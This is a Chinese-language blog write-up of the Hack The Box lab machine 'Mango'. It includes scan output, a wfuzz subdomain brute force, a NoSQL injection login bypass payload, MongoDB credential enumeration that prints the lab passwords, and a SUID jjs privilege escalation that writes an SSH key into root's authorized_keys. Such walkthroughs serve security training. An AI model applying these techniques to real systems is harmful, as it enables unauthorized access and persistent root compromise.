• 【Hack The Box】linux练习-- Mango


    HTB 学习笔记

    Hack The Box】linux练习-- Mango


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月17日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
    |   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
    |_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
    80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: 403 Forbidden
    443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Mango | Search Base
    | ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
    | Not valid before: 2019-09-27T14:21:19
    |_Not valid after:  2020-09-26T14:21:19
    |_ssl-date: TLS randomness does not represent time
    | tls-alpn: 
    |   http/1.1
    |   http/1.1
    |   http/1.1
    |   http/1.1
    ...[snip]...
    |_  http/1.1
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    80

    啥也没有

    443

    网站证书得到了两个域名

    staging-order.mango.htb
    mango.htb
    
    • 1
    • 2
    域名爆破一下
    wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Host: FUZZ.mango.htb" --hh 5152 https://10.10.10.162/
    
    • 1

    –hh521 是过滤512的结果,因为有很多无效的结果都是512
    但是没有结果

    在这里插入图片描述
    单击 Analytics 链接会导致 /analytics.php,它显示了一个带有饼图的电子表格

    在这里插入图片描述左上角可以看到有一些库
    在这里插入图片描述但是不知道有啥用

    staging-order.mango.htb

    NoSQL 注入登录绕过

    在使用一些基本的 SQL 注入尝试了一些默认密码后,我尝试了一些 NoSQL 注入 POC。 PayloadsAllTheThings 有一个很好 的测试注入列表 。 在测试 NoSQL 文档数据库注入时,同时更改表单数据内容类型和 JSON,因为像 Mongo 这样的交互数据库使用 JSON。 将 POST 请求更改为 JSON 时,重要的是既要转换数据又要更改 Content-Type标头。

    PayloadsAllTheThings 页面的第一部分是身份验证绕过,JSON 格式没有得到任何结果,但是“in URL”POC(也可以在 POST 正文中使用)做到了。 当我在 Burp 中捕获登录请求并将参数编辑为:

    username[$ne]=hahaha&password[$ne]=hahaha&login=login
    
    • 1

    在这里插入图片描述

    mongodb注入

    直接上脚本

    https://raw.githubusercontent.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration/master/nosqli-user-pass-enum.py
    
    • 1

    用这个脚本

    python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep username
    python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep password
    
    • 1
    • 2

    枚举出

    mango:h3mXK8RhU~f{]f5H
    admin:t9KcS3>!0B#2
    
    • 1
    • 2

    admin不能直接ssh登陆上
    但是mongo可以,那我们就在mango中登陆admin
    su admin

    提权

    find / -user root -perm -4000 2>/dev/null -ls
    
    • 1

    查询用户可用于提权的二进制文件

    发现了这个从来没有见过的,并且可以admin操作的
    在这里插入图片描述该文件是
    /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

    jjs是一个用来 调用Nashorn引擎 的Java工具。 实际上,它允许我运行 Java 命令,并且由于 SUID,它们以 root 身份运行

    https://gtfobins.github.io/gtfobins/jjs/
    
    • 1

    在这里插入图片描述但是这个没成功
    在这里插入图片描述
    那我就写一个ssh密钥

    /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
    echo 'var FileWriter = Java.type("java.io.FileWriter");
    
    var fw=new FileWriter("/root/.ssh/authorized_keys");
    
    fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwyDJ9eMoqcJqOhfgnS86spOUDkOvp2NLj+ULUvpyFNmDItPefXS5XbE2U0AiXOKcLkecKh60NcB3nTkhOdh0SEwGTrX9PBD7e5CPCps9AQW8B2DxqjDYe2STV3ZG7cUYtj7Zpk1fZOE6gNv2Fte9g4msyz5kmgVtqCPXHDRzgA0uFXtMhTvM/2WwjPq8dHMDkMMGDVxNDVsqBxG4cvDqM+C8VIwscp+sJZxXs5nM1K/5Xs57YtsTLU++vZZi3VMtZ7DAAZEIccSHAPouKkTJ6r9JsJ+ls54kmuvFVjpK4VsOvDoxs/FpuVUYd3NEpPY7d2JL3G6IAWAfy1ojBihsHV+C0+REkE6sW8sYnmjqZ/vKT0DCcgWxF1sBrrWzvsqs4NWyGt+/FgHjJEp78ehu+pIVFeicDY3MxmNvJgYpkSz7Ku814UNQc6WbJHV+JJLTZ/SSMVMOdeNAgUlXW8kECUrjikH2OcGuL+3YfbnLPXLX6ZC+QvpS2ixBMC+z4Qt8= root@kali");
    
    fw.close();' | jjs
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    而后ssh -i id_rsa root@10.129.1.219
    即可

  • 相关阅读:
    酷开科技丨酷开系统——智能家居生活的娱乐核心
    【分布式云储存】Springboot微服务接入MinIO实现文件服务
    HRD特征及其检测方法简介
    SQLserver-快速复制一行数据到数据库并修改ID
    数学建模学习(84):鲸鱼优化算法(WOA)对多目标函数的优化求解
    狂欢过后,万众期待的元宇宙怎么样了?
    文盘Rust -- 本地库引发的依赖冲突
    Vue实现角色权限动态路由详细教程,在vue-admin-template基础上修改,附免费完整项目代码
    【LeetCode】1.两数之和
    [附源码]JAVA毕业设计高速公路服务区管理系统(系统+LW)
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127952806